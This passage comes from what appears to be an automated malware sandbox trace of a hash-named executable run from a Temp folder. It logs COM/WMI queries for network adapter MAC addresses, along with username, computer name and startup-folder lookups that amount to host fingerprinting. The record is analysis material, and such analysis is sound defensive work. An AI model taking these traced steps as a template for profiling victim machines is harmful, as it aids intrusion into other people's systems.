[1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8c67ec) returned 0x0 [0272.822] IMarshal:GetUnmarshalClass (in: This=0x8c67ec, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.822] IUnknown:Release (This=0x8c67ec) returned 0x3 [0272.822] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.822] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.822] IUnknown:Release (This=0x8c67e8) returned 0x2 [0272.822] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.822] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8c67e8) returned 0x0 [0272.822] IUnknown:AddRef (This=0x8c67e8) returned 0x4 [0272.822] IUnknown:Release (This=0x8c67e8) returned 0x3 [0272.823] IUnknown:Release (This=0x8c67e8) returned 0x2 [0272.823] CoTaskMemFree (pv=0x8c06b0) [0272.823] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.823] IUnknown:AddRef (This=0x8c67e8) returned 0x3 [0272.823] IWbemClassObject:Get (in: This=0x8c67e8, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.823] IWbemClassObject:Get (in: This=0x8c67e8, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=13", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.823] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=13") returned 0x84 [0272.823] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=13") returned 0x84 [0272.823] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c4 [0272.823] SetEvent (hEvent=0x2c4) returned 1 [0272.823] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3c4, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.826] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.826] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf88, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbf88) returned 0x0 [0272.826] WbemDefPath:IUnknown:AddRef (This=0x8bbf88) returned 0x3 [0272.826] WbemDefPath:IUnknown:Release (This=0x8bbf88) returned 0x2 [0272.826] WbemDefPath:IWbemPath:SetText (This=0x8bbf88, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=13") returned 0x0 [0272.826] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.826] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.826] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.826] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.826] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.826] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.826] IWbemClassObject:Get (in: This=0x8c67e8, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257d490*=0, plFlavor=0x257d494*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), pType=0x257d490*=11, plFlavor=0x257d494*=0) returned 0x0 [0272.827] IWbemClassObject:Get (in: This=0x8c67e8, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257d490*=11, plFlavor=0x257d494*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), pType=0x257d490*=11, plFlavor=0x257d494*=0) returned 0x0 [0272.829] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.829] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.829] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.829] IWbemClassObject:Get (in: This=0x8c67e8, wszName="MacAddress", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257d52c*=0, plFlavor=0x257d530*=0 | out: pVal=0x54f38c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="00:D0:3E:E0:98:13", varVal2=0x0), pType=0x257d52c*=8, plFlavor=0x257d530*=0) returned 0x0 [0272.829] SysStringByteLen (bstr="00:D0:3E:E0:98:13") returned 0x22 [0272.829] SysStringByteLen (bstr="00:D0:3E:E0:98:13") returned 0x22 [0272.829] IWbemClassObject:Get (in: This=0x8c67e8, wszName="MacAddress", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257d52c*=8, plFlavor=0x257d530*=0 | out: pVal=0x54f394*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="00:D0:3E:E0:98:13", varVal2=0x0), pType=0x257d52c*=8, plFlavor=0x257d530*=0) returned 0x0 [0272.829] SysStringByteLen (bstr="00:D0:3E:E0:98:13") returned 0x22 [0272.829] SysStringByteLen (bstr="00:D0:3E:E0:98:13") returned 0x22 [0272.829] IUnknown:Release (This=0x8c67e8) returned 0x2 [0272.829] CoTaskMemAlloc (cb=0x4) returned 0x8c0700 [0272.829] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8c0700, puReturned=0x2575b1c | out: apObjects=0x8c0700*=0x0, puReturned=0x2575b1c*=0x0) returned 0x1 [0272.831] CoTaskMemFree (pv=0x8c0700) [0272.831] CoGetContextToken (in: pToken=0x54f2bc | out: pToken=0x54f2bc) returned 0x0 [0272.831] IUnknown:Release (This=0x86d808) returned 0x1 [0272.832] IUnknown:Release (This=0x86d808) returned 0x0 [0272.865] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x54eeb8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x6a [0272.868] GetEnvironmentVariableW (in: lpName="%startupfolder%", lpBuffer=0x54f248, nSize=0xd8 | out: lpBuffer="") returned 0x0 [0272.911] GetUserNameW (in: lpBuffer=0x54f1f8, pcbBuffer=0x257e228 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x257e228) returned 1 [0272.918] GetComputerNameW (in: lpBuffer=0x54f1f8, nSize=0x257e69c | out: lpBuffer="Q9IATRKPRH", nSize=0x257e69c) returned 1 [0272.925] EtwEventRegister () returned 0x0 Thread: id = 472 os_tid = 0xe40 Thread: id = 473 os_tid = 0xe28 [0254.303] CoGetContextToken (in: pToken=0x467f7cc | out: pToken=0x467f7cc) returned 0x800401f0 [0254.303] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 474 os_tid = 0xe2c Thread: id = 483 os_tid = 0x64c Thread: id = 484 os_tid = 0xed8 Thread: id = 485 os_tid = 0xedc Thread: id = 494 os_tid = 0xd44 [0268.142] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0268.169] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x539f2cc | out: lpiid=0x539f2cc) returned 0x0 [0268.171] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x880fe8) returned 0x0 [0268.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x880fe8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0268.171] WbemDefPath:IClassFactory:CreateInstance (in: This=0x880fe8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c000) returned 0x0 [0268.171] WbemDefPath:IUnknown:Release (This=0x880fe8) returned 0x0 [0268.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c000, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c000) returned 0x0 [0268.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c000, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0268.172] WbemDefPath:IUnknown:AddRef (This=0x84c000) returned 0x3 [0268.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c000, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0268.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c000, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0268.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c000, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x881108) returned 0x0 [0268.172] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x881108, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0268.172] WbemDefPath:IUnknown:Release (This=0x881108) returned 0x3 [0268.172] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0268.173] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0268.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c000, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0268.174] WbemDefPath:IUnknown:Release (This=0x84c000) returned 0x2 [0268.174] WbemDefPath:IUnknown:Release (This=0x84c000) returned 0x1 [0268.174] SetEvent (hEvent=0x2c0) returned 1 [0268.201] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x881128) returned 0x0 [0268.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x881128, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0268.201] WbemDefPath:IClassFactory:CreateInstance (in: This=0x881128, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c070) returned 0x0 [0268.201] WbemDefPath:IUnknown:Release (This=0x881128) returned 0x0 [0268.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c070, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c070) returned 0x0 [0268.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c070, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0268.202] WbemDefPath:IUnknown:AddRef (This=0x84c070) returned 0x3 [0268.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c070, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0268.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c070, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0268.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c070, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x881138) returned 0x0 [0268.202] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x881138, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0268.202] WbemDefPath:IUnknown:Release (This=0x881138) returned 0x3 [0268.202] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0268.202] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0268.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c070, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0268.202] WbemDefPath:IUnknown:Release (This=0x84c070) returned 0x2 [0268.202] WbemDefPath:IUnknown:Release (This=0x84c070) returned 0x1 [0268.202] SetEvent (hEvent=0x2f4) returned 1 [0268.204] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x881168) returned 0x0 [0268.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x881168, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0268.205] WbemDefPath:IClassFactory:CreateInstance (in: This=0x881168, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c0e0) returned 0x0 [0268.205] WbemDefPath:IUnknown:Release (This=0x881168) returned 0x0 [0268.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c0e0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c0e0) returned 0x0 [0268.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c0e0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0268.205] WbemDefPath:IUnknown:AddRef (This=0x84c0e0) returned 0x3 [0268.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c0e0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0268.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c0e0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0268.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c0e0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x881178) returned 0x0 [0268.205] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x881178, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0268.206] WbemDefPath:IUnknown:Release (This=0x881178) returned 0x3 [0268.206] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0268.206] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0268.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c0e0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0268.206] WbemDefPath:IUnknown:Release (This=0x84c0e0) returned 0x2 [0268.206] WbemDefPath:IUnknown:Release (This=0x84c0e0) returned 0x1 [0268.206] SetEvent (hEvent=0x2f8) returned 1 [0268.951] CoGetClassObject (in: rclsid=0x871f24*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x539efe8 | out: ppv=0x539efe8*=0x881208) returned 0x0 [0268.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x881208, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x539f200 | out: ppvObject=0x539f200*=0x0) returned 0x80004002 [0268.951] WbemDefPath:IClassFactory:CreateInstance (in: This=0x881208, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539f20c | out: ppvObject=0x539f20c*=0x84c150) returned 0x0 [0268.951] WbemDefPath:IUnknown:Release (This=0x881208) returned 0x0 [0268.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c150, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ee2c | out: ppvObject=0x539ee2c*=0x84c150) returned 0x0 [0268.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c150, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x539ede0 | out: ppvObject=0x539ede0*=0x0) returned 0x80004002 [0268.952] WbemDefPath:IUnknown:AddRef (This=0x84c150) returned 0x3 [0268.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c150, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, 